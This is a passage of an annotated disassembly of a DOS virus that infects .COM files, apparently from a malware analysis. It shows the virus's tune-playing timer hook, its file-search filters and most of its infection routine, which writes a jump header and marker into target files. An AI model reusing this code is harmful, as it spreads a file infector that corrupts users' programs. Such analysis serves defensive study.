;---------------------------------------------------- + ; + ; in the next section we find the disk transfer area + ; the virus uses for search first/search next + ; operations + ; +0124 db 21 dup (?) ; reserved for dos +0139 db ? ; attributes of file +013A dw ? ; time of file +013C dw ? ; date of file +013E dw ? ; low size +0140 dw ? ; high size +0142 db 13 dup (?) ; packed name + +0118/2240 03 3F 3F 3F .??? +0128/2250 3F 3F 3F 3F 3F 43 4F 4D-20 20 00 39 00 01 49 10 ?????COM .9..I. +0138/2260 F6 20 63 2A 76 13 28 21-00 00 54 41 4E 4B 2E 43 . c*v.(!..TANK.C +0148/2270 4F 4D 00 4D 00 00 00 OM.M... + ;---------------------------------------------------- +014F db 4 dup (?) ; buffer for first 4 + ; bytes of a file to + ; become infected +0148/2270 E9 25 21 F1 .%!. + ;---------------------------------------------------- + ; this is a counter thats decremented during each + ; timer interrupt. if it reaches 0, its reloaded + ; with 2 + ; +0153 dw ? + +0148/2270 14 00 .. + ;---------------------------------------------------- +0155 DB '*.COM',0,'\' + +0148/2270 2A 2E 43 *.C +0158/2280 4F 4D 00 5C OM.\ + ;---------------------------------------------------- +015C DB 75 DUP (?),'\' + +0158/2280 43 3A 2A 2E-43 4F 4D 00 4F 4D 00 00 C:*.COM.OM.. +0168/2290 52 53 45 5C 2A 2E 43 4F-4D 00 52 2E 49 4E 49 00 RSE\*.COM.R.INI. +0178/22A0 00 43 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .C.............. +0188/22B0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +0198/22C0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 5C ...............\ + ;---------------------------------------------------- + +01A8 DB 75 DUP (?),'\' + +01A8/22D0 43 3A 2A 2E 43 4F 4D 00-00 49 56 45 52 53 45 5C C:*.COM..IVERSE\ +01B8/22E0 2A 2E 43 4F 4D 00 43 4F-4D 00 00 00 00 00 00 00 *.COM.COM....... +01C8/22F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +01D8/2300 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +01E8/2310 00 00 00 00 00 00 00 00-00 00 00 5C ...........\ + ;---------------------------------------------------- + +01F4 DB ?? DUP (?),'\' + +01E8-2310 43 3A 54 41 C:TA +01F8/2320 4E 4B 2E 43 4F 4D 00 43-4F 4D 00 5C 56 49 50 54 NK.COM.COM.\VIPT +0208/2330 45 53 54 2E 43 4F 4D 00-4D 00 4F 4D 00 00 00 00 EST.COM.M.OM.... +0218/2340 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +0228/2350 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +0238/2360 00 00 00 00 00 00 00 00-00 00 00 00 ............ + + ;---------------------------------------------------- +0244 db 'COMMAND.COM',0 + +0238/2360 43 4F 4D 4D ............COMM +0248/2370 41 4E 44 2E 43 4F 4D 00 AND.COM. + ;---------------------------------------------------- + +-> at 0255 a table of notes seems to begin, at 0251 there seems to be + a pointer into this table. the table seems to be terminated by a + word of 0000. the table consists of 3 byte entrys, which colud be + something like tone and duration. the termination is at 2743. + +0248/2370 01 . + ;---------------------------------------------------- + +0251 dw 0255 ; pointer to next note + +0248/2370 55 02 U. + ;---------------------------------------------------- + ; + ; this is a counter for how long the current tune + ; should be played. + ; +0253 dw ? +0248/2370 18 15 .. + ;---------------------------------------------------- + ; + ; below is the table of tunes to be played when the + ; effect is produced. the table is terminated by a + ; frequency value of 0 + ; + tune macro freq, len + dw freq + db len + tune endm + ; +0255 tune 07E4 ,06 + tune 07E4 ,06 + tune 08DA ,03 + tune 0964 ,03 + tune 0964 ,06 + tune 09F4 ,03 + tune 0964 ,03 + tune 0964 ,10 + tune 0024 ,02 + tune 09F4 ,03 + tune 0964 ,03 + tune 0964 ,06 + tune 09F4 ,03 + tune 0964 ,03 + tune 07E4 ,06 + tune 0964 ,03 + tune 07E4 ,03 + tune 08DA ,0C + tune 0A8A ,06 + tune 0024 ,03 + tune 0A8A ,03 + tune 0A8A ,06 + tune 0B2C ,03 + tune 0A8A ,03 + tune 0A8A ,06 + tune 0B2C ,03 + tune 0A8A ,03 + tune 08DA ,10 + tune 0024 ,02 + tune 0964 ,03 + tune 0A8A ,03 + tune 0964 ,03 + tune 07E4 ,09 + tune 0708 ,09 + tune 0708 ,03 + tune 0A8A ,10 + tune 0024 ,02 + tune 07E4 ,06 + tune 07E4 ,06 + tune 08DA ,03 + tune 0964 ,03 + tune 0964 ,06 + tune 09F4 ,03 + tune 0964 ,03 + tune 0964 ,10 + tune 0024 ,02 + tune 09F4 ,03 + tune 0964 ,03 + tune 0964 ,06 + tune 09F4 ,03 + tune 0964 ,03 + tune 08DA ,03 + tune 0964 ,03 + tune 0A8A ,05 + tune 0C87 ,01 + tune 0A8A ,0C + tune 0BD3 ,06 + tune 0024 ,03 + tune 0BD3 ,03 + tune 0BD3 ,06 + tune 0C87 ,03 + tune 0BD3 ,03 + tune 09F4 ,06 + tune 0A8A ,03 + tune 0BD3 ,03 + tune 05E9 ,0F + tune 0024 ,03 + tune 0BD3 ,03 + tune 0A8A ,03 + tune 0964 ,03 + tune 07E4 ,01 + tune 0024 ,02 + tune 0BD3 ,03 + tune 0A8A ,03 + tune 0964 ,03 + tune 07E4 ,01 + tune 0024 ,02 + tune 0FCF ,03 + tune 0E16 ,05 + tune 0964 ,01 + tune 0A8A ,0C + tune 0BD3 ,01 + tune 000A ,0F + tune 0FCF ,04 + tune 0C87 ,04 + tune 0A8A ,04 + tune 0A8A ,04 + tune 0024 ,04 + tune 0545 ,02 + tune 0024 ,02 + tune 0545 ,02 + tune 0024 ,06 + tune 0643 ,02 + tune 0024 ,02 + tune 0643 ,02 + tune 0024 ,06 + tune 0FCF ,04 + tune 0FCF ,04 + tune 0C87 ,04 + tune 0A8A ,04 + tune 0A8A ,04 + tune 0024 ,04 + tune 0545 ,02 + tune 0024 ,02 + tune 0545 ,02 + tune 0024 ,06 + tune 05E9 ,02 + tune 0024 ,02 + tune 05E9 ,02 + tune 0024 ,06 + tune 10B8 ,04 + tune 10B8 ,04 + tune 0E16 ,04 + tune 0964 ,04 + tune 0964 ,04 + tune 0024 ,04 + tune 04B2 ,02 + tune 0024 ,02 + tune 04B2 ,02 + tune 0024 ,06 + tune 05E9 ,02 + tune 0024 ,02 + tune 05E9 ,02 + tune 0024 ,06 + tune 10B8 ,04 + tune 10B8 ,04 + tune 0E16 ,04 + tune 0964 ,04 + tune 0964 ,04 + tune 0024 ,04 + tune 04B2 ,02 + tune 0024 ,02 + tune 04B2 ,02 + tune 0024 ,06 + tune 0643 ,02 + tune 0024 ,02 + tune 0643 ,02 + tune 0024 ,06 + tune 0FCF ,04 + tune 0FCF ,04 + tune 0C87 ,04 + tune 0A8A ,04 + tune 07E4 ,04 + tune 0024 ,04 + tune 03F2 ,02 + tune 0024 ,02 + tune 03F2 ,02 + tune 0024 ,06 + tune 0545 ,02 + tune 0024 ,02 + tune 0545 ,02 + tune 0024 ,06 + tune 0FCF ,04 + tune 0FCF ,04 + tune 0C87 ,04 + tune 0A8A ,04 + tune 07E4 ,04 + tune 0024 ,04 + tune 03F2 ,02 + tune 0024 ,02 + tune 03F2 ,02 + tune 0024 ,06 + tune 04B2 ,02 + tune 0024 ,02 + tune 04B2 ,02 + tune 0024 ,06 + tune 0E16 ,04 + tune 0E16 ,04 + tune 0BD3 ,04 + tune 0964 ,02 + tune 0024 ,02 + tune 0964 ,0E + tune 0024 ,02 + tune 0B2C ,04 + tune 0A8A ,04 + tune 0643 ,10 + tune 07E4 ,04 + tune 0C87 ,04 + tune 0C87 ,08 + tune 0E16 ,04 + tune 0964 ,08 + tune 0A8A ,04 + tune 0FCF ,04 + tune 0024 ,02 + tune 0FCF ,02 + tune 0FCF ,04 + tune 0024 ,08 + tune 0A8A ,02 + tune 0024 ,02 + tune 0BD3 ,02 + tune 0024 ,06 + tune 0A8A ,02 + tune 0024 ,02 + tune 0BD3 ,02 + tune 0024 ,06 + tune 0A8A ,04 + tune 0643 ,10 + tune 0708 ,04 + tune 0A8A ,02 + tune 0024 ,02 + tune 0C87 ,02 + tune 0024 ,06 + tune 0A8A ,02 + tune 0024 ,02 + tune 0C87 ,02 + tune 0024 ,06 + tune 0A8A ,04 + tune 0708 ,10 + tune 07E4 ,04 + tune 0A8A ,02 + tune 0024 ,02 + tune 0BD3 ,02 + tune 0024 ,06 + tune 0A8A ,02 + tune 0024 ,02 + tune 0BD3 ,02 + tune 0024 ,06 + tune 0A8A ,04 + tune 0643 ,10 + tune 0708 ,04 + tune 0A8A ,04 + tune 07E4 ,04 + tune 0708 ,04 + tune 0643 ,04 + tune 0545 ,08 + tune 05E9 ,04 + tune 0643 ,02 + tune 0643 ,02 + tune 0643 ,04 + tune 0708 ,02 + tune 0024 ,02 + tune 07E4 ,04 + tune 0024 ,08 + tune 000A ,0F + tune 0773 ,02 + tune 07E4 ,02 + tune 07E4 ,04 + tune 0773 ,02 + tune 07E4 ,02 + tune 07E4 ,04 + tune 0773 ,02 + tune 07E4 ,02 + tune 07E4 ,04 + tune 04F8 ,04 + tune 0024 ,04 + tune 04F8 ,02 + tune 0545 ,02 + tune 05E9 ,04 + tune 05E9 ,02 + tune 06A4 ,02 + tune 0773 ,04 + tune 0773 ,02 + tune 07E4 ,02 + tune 08DA ,04 + tune 08DA ,04 + tune 0024 ,04 + tune 07E4 ,02 + tune 08DA ,02 + tune 08DA ,04 + tune 07E4 ,02 + tune 08DA ,02 + tune 08DA ,04 + tune 07E4 ,02 + tune 08DA ,02 + tune 08DA ,04 + tune 0545 ,04 + tune 0024 ,04 + tune 0545 ,02 + tune 05E9 ,02 + tune 0643 ,04 + tune 0643 ,02 + tune 0773 ,02 + tune 07E4 ,04 + tune 07E4 ,02 + tune 08DA ,02 + tune 09F4 ,04 + tune 09F4 ,04 + tune 0024 ,04 + tune 04F8 ,02 + tune 0545 ,02 + tune 0545 ,04 + tune 046E ,04 + tune 0643 ,04 + tune 0545 ,04 + tune 05E9 ,04 + tune 07E4 ,04 + tune 0024 ,04 + tune 04F8 ,02 + tune 0545 ,02 + tune 0545 ,04 + tune 046E ,04 + tune 0643 ,04 + tune 0545 ,04 + tune 05E9 ,04 + tune 04F8 ,04 + tune 0545 ,02 + tune 05E9 ,02 + tune 06A4 ,02 + tune 0773 ,02 + tune 07E4 ,04 + tune 0C87 ,04 + tune 0BD3 ,04 + tune 0A8A ,04 + tune 09F4 ,04 + tune 08DA ,02 + tune 09F4 ,02 + tune 0A8A ,04 + tune 0BD3 ,04 + tune 07E4 ,04 + tune 0024 ,04 + tune 042E ,08 + tune 03F2 ,02 + tune 0024 ,06 + tune 042E ,08 + tune 03F2 ,02 + tune 0024 ,06 + tune 042E ,08 + tune 03F2 ,04 + tune 042E ,04 + tune 03F2 ,04 + tune 042E ,04 + tune 03F2 ,04 + tune 0000 ,0F + +0248/2370 E4 07 06 ... +0258/2380 E4 07 06 DA 08 03 64 09-03 64 09 06 F4 09 03 64 ......d..d.....d +0268/2390 09 03 64 09 10 24 00 02-F4 09 03 64 09 03 64 09 ..d..$.....d..d. +0278/23A0 06 F4 09 03 64 09 03 E4-07 06 64 09 03 E4 07 03 ....d.....d..... +0288/23B0 DA 08 0C 8A 0A 06 24 00-03 8A 0A 03 8A 0A 06 2C ......$........, +0298/23C0 0B 03 8A 0A 03 8A 0A 06-2C 0B 03 8A 0A 03 DA 08 ........,....... +02A8/23D0 10 24 00 02 64 09 03 8A-0A 03 64 09 03 E4 07 09 .$..d.....d..... +02B8/23E0 08 07 09 08 07 03 8A 0A-10 24 00 02 E4 07 06 E4 .........$...... +02C8/23F0 07 06 DA 08 03 64 09 03-64 09 06 F4 09 03 64 09 .....d..d.....d. +02D8/2400 03 64 09 10 24 00 02 F4-09 03 64 09 03 64 09 06 .d..$.....d..d.. +02E8/2410 F4 09 03 64 09 03 DA 08-03 64 09 03 8A 0A 05 87 ...d.....d...... +02F8/2420 0C 01 8A 0A 0C D3 0B 06-24 00 03 D3 0B 03 D3 0B ........$....... +0308/2430 06 87 0C 03 D3 0B 03 F4-09 06 8A 0A 03 D3 0B 03 ................ +0318/2440 E9 05 0F 24 00 03 D3 0B-03 8A 0A 03 64 09 03 E4 ...$........d... +0328/2450 07 01 24 00 02 D3 0B 03-8A 0A 03 64 09 03 E4 07 ..$........d.... +0338/2460 01 24 00 02 CF 0F 03 16-0E 05 64 09 01 8A 0A 0C .$........d..... +0348/2470 D3 0B 01 0A 00 0F CF 0F-04 87 0C 04 8A 0A 04 8A ................ +0358/2480 0A 04 24 00 04 45 05 02-24 00 02 45 05 02 24 00 ..$..E..$..E..$. +0368/2490 06 43 06 02 24 00 02 43-06 02 24 00 06 CF 0F 04 .C..$..C..$..... +0378/24A0 CF 0F 04 87 0C 04 8A 0A-04 8A 0A 04 24 00 04 45 ............$..E +0388/24B0 05 02 24 00 02 45 05 02-24 00 06 E9 05 02 24 00 ..$..E..$.....$. +0398/24C0 02 E9 05 02 24 00 06 B8-10 04 B8 10 04 16 0E 04 ....$........... +03A8/24D0 64 09 04 64 09 04 24 00-04 B2 04 02 24 00 02 B2 d..d..$.....$... +03B8/24E0 04 02 24 00 06 E9 05 02-24 00 02 E9 05 02 24 00 ..$.....$.....$. +03C8/24F0 06 B8 10 04 B8 10 04 16-0E 04 64 09 04 64 09 04 ..........d..d.. +03D8/2500 24 00 04 B2 04 02 24 00-02 B2 04 02 24 00 06 43 $.....$.....$..C +03E8/2510 06 02 24 00 02 43 06 02-24 00 06 CF 0F 04 CF 0F ..$..C..$....... +03F8/2520 04 87 0C 04 8A 0A 04 E4-07 04 24 00 04 F2 03 02 ..........$..... +0408/2530 24 00 02 F2 03 02 24 00-06 45 05 02 24 00 02 45 $.....$..E..$..E +0418/2540 05 02 24 00 06 CF 0F 04-CF 0F 04 87 0C 04 8A 0A ..$............. +0428/2550 04 E4 07 04 24 00 04 F2-03 02 24 00 02 F2 03 02 ....$.....$..... +0438/2560 24 00 06 B2 04 02 24 00-02 B2 04 02 24 00 06 16 $.....$.....$... +0448/2570 0E 04 16 0E 04 D3 0B 04-64 09 02 24 00 02 64 09 ........d..$..d. +0458/2580 0E 24 00 02 2C 0B 04 8A-0A 04 43 06 10 E4 07 04 .$..,.....C..... +0468/2590 87 0C 04 87 0C 08 16 0E-04 64 09 08 8A 0A 04 CF .........d...... +0478/25A0 0F 04 24 00 02 CF 0F 02-CF 0F 04 24 00 08 8A 0A ..$........$.... +0488/25B0 02 24 00 02 D3 0B 02 24-00 06 8A 0A 02 24 00 02 .$.....$.....$.. +0498/25C0 D3 0B 02 24 00 06 8A 0A-04 43 06 10 08 07 04 8A ...$.....C...... +04A8/25D0 0A 02 24 00 02 87 0C 02-24 00 06 8A 0A 02 24 00 ..$.....$.....$. +04B8/25E0 02 87 0C 02 24 00 06 8A-0A 04 08 07 10 E4 07 04 ....$........... +04C8/25F0 8A 0A 02 24 00 02 D3 0B-02 24 00 06 8A 0A 02 24 ...$.....$.....$ +04D8/2600 00 02 D3 0B 02 24 00 06-8A 0A 04 43 06 10 08 07 .....$.....C.... +04E8/2610 04 8A 0A 04 E4 07 04 08-07 04 43 06 04 45 05 08 ..........C..E.. +04F8/2620 E9 05 04 43 06 02 43 06-02 43 06 04 08 07 02 24 ...C..C..C.....$ +0508/2630 00 02 E4 07 04 24 00 08-0A 00 0F 73 07 02 E4 07 .....$.....s.... +0518/2640 02 E4 07 04 73 07 02 E4-07 02 E4 07 04 73 07 02 ....s........s.. +0528/2650 E4 07 02 E4 07 04 F8 04-04 24 00 04 F8 04 02 45 .........$.....E +0538/2660 05 02 E9 05 04 E9 05 02-A4 06 02 73 07 04 73 07 ...........s..s. +0548/2670 02 E4 07 02 DA 08 04 DA-08 04 24 00 04 E4 07 02 ..........$..... +0558/2680 DA 08 02 DA 08 04 E4 07-02 DA 08 02 DA 08 04 E4 ................ +0568/2690 07 02 DA 08 02 DA 08 04-45 05 04 24 00 04 45 05 ........E..$..E. +0578/26A0 02 E9 05 02 43 06 04 43-06 02 73 07 02 E4 07 04 ....C..C..s..... +0588/26B0 E4 07 02 DA 08 02 F4 09-04 F4 09 04 24 00 04 F8 ............$... +0598/26C0 04 02 45 05 02 45 05 04-6E 04 04 43 06 04 45 05 ..E..E..n..C..E. +05A8/26D0 04 E9 05 04 E4 07 04 24-00 04 F8 04 02 45 05 02 .......$.....E.. +05B8/26E0 45 05 04 6E 04 04 43 06-04 45 05 04 E9 05 04 F8 E..n..C..E...... +05C8/26F0 04 04 45 05 02 E9 05 02-A4 06 02 73 07 02 E4 07 ..E........s.... +05D8/2700 04 87 0C 04 D3 0B 04 8A-0A 04 F4 09 04 DA 08 02 ................ +05E8/2710 F4 09 02 8A 0A 04 D3 0B-04 E4 07 04 24 00 04 2E ............$... +05F8/2720 04 08 F2 03 02 24 00 06-2E 04 08 F2 03 02 24 00 .....$........$. +0608/2730 06 2E 04 08 F2 03 04 2E-04 04 F2 03 04 2E 04 04 ................ +0618/2740 F2 03 04 00 00 0F ...... + + ; + ; this procedure gets called every second timer + ; interrupt (ie approx each 36.4 msecs), when the + ; playing of a tune was enabled. + ; + +1E72:2746 FF0E5302 DEC WORD PTR [0253] ; decrement counter of + ; timer ticks +1E72:274A A15302 MOV AX,[0253] +1E72:274D 3D0100 CMP AX,0001 +1E72:2750 7406 JZ 2758 ; turn off speaker. at + ; the next tick, the + ; next note will be + ; played + +1E72:2752 3D0000 CMP AX,0000 +1E72:2755 740C JZ 2763 ; start to play the next + ; note if we reach 0 + +1E72:2757 C3 RET ; no change, continue + + ; + ; turn off speaker + ; + +1E72:2758 E461 IN AL,61 +1E72:275A 8AE0 MOV AH,AL +1E72:275C 24FC AND AL,FC +1E72:275E EB00 JMP $+2 +1E72:2760 E661 OUT 61,AL +1E72:2762 C3 RET + + ; + ; first some new counter for + ; [0253] is computed + ; + +1E72:2763 8B365102 MOV SI,[0251] ; make si point to the + ; entry for the next + ; tune to be played +1E72:2767 8306510203 ADD WORD PTR [0251],+03 ; point to the next tune +1E72:276C 8B1C MOV BX,[SI] ; get frequency +1E72:276E 8A4402 MOV AL,[SI+02] ; get duration +1E72:2771 98 CBW ; clear ah +1E72:2772 83FB0A CMP BX,+0A +1E72:2775 7702 JA 2779 ; if the frequency to + ; be played is below + ; or equal 0A we make + ; a longer pause. this + ; is done by swapping + ; the high and low parts + ; of the ax register +1E72:2777 86C4 XCHG AL,AH +1E72:2779 A35302 MOV [0253],AX ; store new counter +1E72:277C 83FB00 CMP BX,+00 ; play a tune +1E72:277F 7508 JNZ 2789 + + ; + ; when we come here, the table terminated. we + ; set up the pointer at 0251 to point again to the + ; beginning of the table and we turn of the speaker. + ; +1E72:2781 C70651025502 MOV WORD PTR [0251],0255 +1E72:2787 EBCF JMP 2758 ; turn off speaker + + ; + ; now start playing a tone with a frequency given by + ; the bx register + ; + +1E72:2789 B0B6 MOV AL,B6 +1E72:278B E643 OUT 43,AL +1E72:278D 8BC3 MOV AX,BX +1E72:278F E642 OUT 42,AL +1E72:2791 EB00 JMP $+2 +1E72:2793 8AC4 MOV AL,AH +1E72:2795 E642 OUT 42,AL + + ; + ; enable the speaker + ; + +1E72:2797 E461 IN AL,61 +1E72:2799 8AE0 MOV AH,AL +1E72:279B 0C03 OR AL,03 +1E72:279D EB00 JMP $+2 +1E72:279F E661 OUT 61,AL + +1E72:27A1 C3 RET + + ; + ; this is the interposer for the timer interrupt + ; + +1E72:27A2 9C PUSHF +1E72:27A3 50 PUSH AX +1E72:27A4 53 PUSH BX +1E72:27A5 51 PUSH CX +1E72:27A6 52 PUSH DX +1E72:27A7 56 PUSH SI +1E72:27A8 57 PUSH DI +1E72:27A9 55 PUSH BP +1E72:27AA 1E PUSH DS +1E72:27AB 06 PUSH ES +1E72:27AC 9C PUSHF +1E72:27AD 2E CS: +1E72:27AE FF1E1C01 CALL FAR [011C] ; call original routine +1E72:27B2 FB STI +1E72:27B3 8CC8 MOV AX,CS +1E72:27B5 8ED8 MOV DS,AX ; addressability +1E72:27B7 833E530100 CMP WORD PTR [0153],+00 +1E72:27BC 740F JZ 27CD ; not playing currently +1E72:27BE FF0E5301 DEC WORD PTR [0153] +1E72:27C2 7509 JNZ 27CD ; not the second tick +1E72:27C4 E87FFF CALL 2746 ; one tick advanced +1E72:27C7 C70653010200 MOV WORD PTR [0153],0002 ; and restart the next + ; time +1E72:27CD 07 POP ES +1E72:27CE 1F POP DS +1E72:27CF 5D POP BP +1E72:27D0 5F POP DI +1E72:27D1 5E POP SI +1E72:27D2 5A POP DX +1E72:27D3 59 POP CX +1E72:27D4 5B POP BX +1E72:27D5 58 POP AX +1E72:27D6 9D POPF +1E72:27D7 CF IRET + + ; + ; when we come here, we should start up an effect. + ; this is done by initialising pointers and flags to + ; get the music via the timer interrupt playing. + ; + +1E72:27D8 8CC8 MOV AX,CS +1E72:27DA 8ED8 MOV DS,AX +1E72:27DC FE060701 INC BYTE PTR [0107] ; ?count number of times + ; an effect was + ; produced? +1E72:27E0 C606500200 MOV BYTE PTR [0250],00 ; ?? +1E72:27E5 C70653011400 MOV WORD PTR [0153],0014 ; start playing +1E72:27EB C70651025502 MOV WORD PTR [0251],0255 ; set pointer to the + ; next note +1E72:27F1 C70653021815 MOV WORD PTR [0253],1518 ; before we start + ; playing, wait about + ; 2*1518 timer ticks. + ; this is about 32 (dec) + ; minutes. +1E72:27F7 C3 RET + + ; + ; routine to copy an asciiz string + ; + + strcpy: +1E72:27F8 AC LODSB +1E72:27F9 AA STOSB +1E72:27FA 3C00 CMP AL,00 +1E72:27FC 75FA JNZ strcpy +1E72:27FE C3 RET + + ; + ; routine to compare asciiz strings given by si and + ; di. return z for equal, nz for different. + ; + strcmp: +1E72:27FF AC LODSB +1E72:2800 3A05 CMP AL,[DI] +1E72:2802 7507 JNZ 280B +1E72:2804 3C00 CMP AL,00 +1E72:2806 7403 JZ 280B +1E72:2808 47 INC DI +1E72:2809 EBF4 JMP strcmp +1E72:280B C3 RET + +1E72:280C FC CLD +1E72:280D 8CC8 MOV AX,CS +1E72:280F 8EC0 MOV ES,AX +1E72:2811 8BF2 MOV SI,DX +1E72:2813 8A04 MOV AL,[SI] +1E72:2815 3C00 CMP AL,00 +1E72:2817 7507 JNZ 2820 +1E72:2819 B419 MOV AH,19 +1E72:281B E8E202 CALL int21 ; get current disk +1E72:281E FEC0 INC AL +1E72:2820 0440 ADD AL,40 ; now al is the drive + ; letter +1E72:2822 2E CS: +1E72:2823 A25C01 MOV [015C],AL ; store drive letter +1E72:2826 2E CS: +1E72:2827 C6065D013A MOV BYTE PTR [015D],':' ; store colon +1E72:282C 2E CS: +1E72:282D C6065E0100 MOV BYTE PTR [015E],00 ; terminate string +1E72:2832 EB0D JMP 2841 + + ; + ; the next section is called for some dos functions + ; dealing with asciiz filenames + ; + +1E72:2834 FC CLD +1E72:2835 8CC8 MOV AX,CS +1E72:2837 8EC0 MOV ES,AX +1E72:2839 8BF2 MOV SI,DX +1E72:283B BF5C01 MOV DI,015C +1E72:283E E8B7FF CALL strcpy + + ; + ; this is a direct entry to ??? + ; + +1E72:2841 8CC8 MOV AX,CS +1E72:2843 8ED8 MOV DS,AX +1E72:2845 BF5C01 MOV DI,015C ; start of string +1E72:2848 B000 MOV AL,00 +1E72:284A B94B00 MOV CX,004B ; maximum length +1E72:284D F2 REPNZ +1E72:284E AE SCASB ; now di points to the + ; 00 byte terminating + ; the string + + ; + ; in the next sectio the point where we can append + ; *.COM to the string is located. + ; + +1E72:284F 8A45FF MOV AL,[DI-01] +1E72:2852 3C3A CMP AL,':' +1E72:2854 7407 JZ 285D +1E72:2856 3C5C CMP AL,'\' +1E72:2858 7403 JZ 285D +1E72:285A 4F DEC DI +1E72:285B EBF2 JMP 284F + + ; + ; when we come here, di points to the first byte + ; after the last directory separator of after the + ; drive separator. + ; + +1E72:285D BE5501 MOV SI,0155 +1E72:2860 E895FF CALL strcpy + + ; + ; test if the current name was already searched for. + ; if so, terminate the search operation + ; + +1E72:2863 BE5C01 MOV SI,015C +1E72:2866 BFA801 MOV DI,01A8 +1E72:2869 E893FF CALL strcmp +1E72:286C 7501 JNZ 286F +1E72:286E C3 RET + + ; + ; remember current search pattern + ; + +1E72:286F BE5C01 MOV SI,015C +1E72:2872 BFA801 MOV DI,01A8 +1E72:2875 E880FF CALL strcpy + +1E72:2878 BE5C01 MOV SI,015C +1E72:287B BFF401 MOV DI,01F4 +1E72:287E E877FF CALL strcpy + + ; + ; get current disk transfer address and store it + ; + +1E72:2881 06 PUSH ES +1E72:2882 B42F MOV AH,2F +1E72:2884 E87902 CALL int21 +1E72:2887 891E2001 MOV [0120],BX +1E72:288B 8C062201 MOV [0122],ES +1E72:288F 07 POP ES + + ; + ; set private disk transfer address + ; + +1E72:2890 B41A MOV AH,1A +1E72:2892 BA2401 MOV DX,0124 +1E72:2895 E86802 CALL int21 + +1E72:2898 E81400 CALL 28AF + + ; + ; restore original disk transfer address and return + ; + +1E72:289B 1E PUSH DS +1E72:289C B41A MOV AH,1A +1E72:289E C5162001 LDS DX,[0120] +1E72:28A2 E85B02 CALL int21 +1E72:28A5 1F POP DS +1E72:28A6 C3 RET + + ; + ; search the next file, because we found one, we dont + ; like + ; + +1E72:28A7 B44F MOV AH,4F +1E72:28A9 E85402 CALL int21 +1E72:28AC 730E JNB 28BC ; if ok continue, + ; otherwise return + +1E72:28AE C3 RET + + ; + ; the following is called with 015c containing the + ; search pattern, which is copied to 01a8 and 01f4 + ; too. + ; + +1E72:28AF B44E MOV AH,4E +1E72:28B1 BA5C01 MOV DX,015C +1E72:28B4 B92000 MOV CX,0020 +1E72:28B7 E84602 CALL int21 ; find match file +1E72:28BA 72F2 JB 28AE ; return on error + + ; + ; find first/next was ok. test if we want this file + ; + +1E72:28BC BE4201 MOV SI,0142 +1E72:28BF BF4402 MOV DI,0244 +1E72:28C2 E83AFF CALL strcmp +1E72:28C5 74E0 JZ 28A7 ; dont like COMMAND.COM +1E72:28C7 833E400100 CMP WORD PTR [0140],+00 +1E72:28CC 75D9 JNZ 28A7 ; dont like files with + ; high size != 0 + +1E72:28CE 813E3E011DF2 CMP WORD PTR [013E],F21D +1E72:28D4 77D1 JA 28A7 ; dont like files bigger + ; than f21d bytes. this + ; is de3 bytes less than + ; 10000. this could be + ; the size of + ; the virus plus some + ; reserve. + +1E72:28D6 BA0000 MOV DX,0000 +1E72:28D9 A13E01 MOV AX,[013E] +1E72:28DC BB3300 MOV BX,0033 +1E72:28DF F7F3 DIV BX +1E72:28E1 83FA00 CMP DX,+00 +1E72:28E4 74C1 JZ 28A7 ; dont like files whose + ; size is divideable by + ; 33 (51 dec) without a + ; reminder. + + ; + ; now we construct a name of a file using the search + ; pattern given in 01F4. + ; +1E72:28E6 BFF401 MOV DI,01F4 +1E72:28E9 B000 MOV AL,00 +1E72:28EB B94B00 MOV CX,004B +1E72:28EE F2 REPNZ +1E72:28EF AE SCASB + ; + ; now di points to the 00 byte at the end of the + ; string. scan backwards until the last path or a + ; drive separator is found. + ; +1E72:28F0 8A45FF MOV AL,[DI-01] +1E72:28F3 3C3A CMP AL,':' +1E72:28F5 7407 JZ 28FE +1E72:28F7 3C5C CMP AL,'\' +1E72:28F9 7403 JZ 28FE +1E72:28FB 4F DEC DI +1E72:28FC EBF2 JMP 28F0 + ; + ; now append the name of the found file + ; +1E72:28FE BE4201 MOV SI,0142 +1E72:2901 E8F4FE CALL strcpy + ; +1E72:2904 B8023D MOV AX,3D02 +1E72:2907 BAF401 MOV DX,01F4 +1E72:290A E8F301 CALL int21 ; open file for rw +1E72:290D 729F JB 28AE ; return on error + ; + ; read the first 4 bytes of the file. + ; +1E72:290F 8BD8 MOV BX,AX +1E72:2911 B43F MOV AH,3F +1E72:2913 BA4F01 MOV DX,014F +1E72:2916 B90400 MOV CX,0004 +1E72:2919 E8E401 CALL int21 +1E72:291C 7303 JNB 2921 +1E72:291E E9C000 JMP 29E1 ; error while reading + ; the file header + ; occured. stop + ; infection after + ; resetting the files + ; attributes +1E72:2921 803E4F01FF CMP BYTE PTR [014F],FF +1E72:2926 740E JZ 2936 ; files starting with + ; FF dont become + ; infected +1E72:2928 803E4F01E9 CMP BYTE PTR [014F],E9 +1E72:292D 7510 JNZ 293F ; files not starting + ; with E9 become + ; infected +1E72:292F 803E5201F1 CMP BYTE PTR [0152],F1 +1E72:2934 7509 JNZ 293F ; files without F1 in + ; byte 4 become + ; infected + +1E72:2936 E8A800 CALL 29E1 ; close the file and + ; retain its attributes +1E72:2939 A2A801 MOV [01A8],AL ; put in drive letter + ; again... +1E72:293C E968FF JMP 28A7 ; search next file + + ; + ; when we come here, we are going to infect a file + ; + +1E72:293F A14F01 MOV AX,[014F] ; copy the 4 bytes for + ; the header +1E72:2942 A30301 MOV [0103],AX +1E72:2945 A15101 MOV AX,[0151] +1E72:2948 A30501 MOV [0105],AX + +1E72:294B A13E01 MOV AX,[013E] +1E72:294E 2D0300 SUB AX,0003 +1E72:2951 C6064F01E9 MOV BYTE PTR [014F],E9 ; store jmp instruction +1E72:2956 A35001 MOV [0150],AX +1E72:2959 C6065201F1 MOV BYTE PTR [0152],F1 ; store magic byte +1E72:295E B80042 MOV AX,4200 +1E72:2961 B90000 MOV CX,0000 +1E72:2964 BA0000 MOV DX,0000 +1E72:2967 E89601 CALL int21 ; seek to the beginning + ; of the file +1E72:296A 7303 JNB 296F +1E72:296C EB73 JMP 29E1 ; oops, close it +1E72:296E 90 NOP +1E72:296F B440 MOV AH,40 +1E72:2971 BA4F01 MOV DX,014F +1E72:2974 B90400 MOV CX,0004 +1E72:2977 E88601 CALL int21 ; write new header +1E72:297A 7303 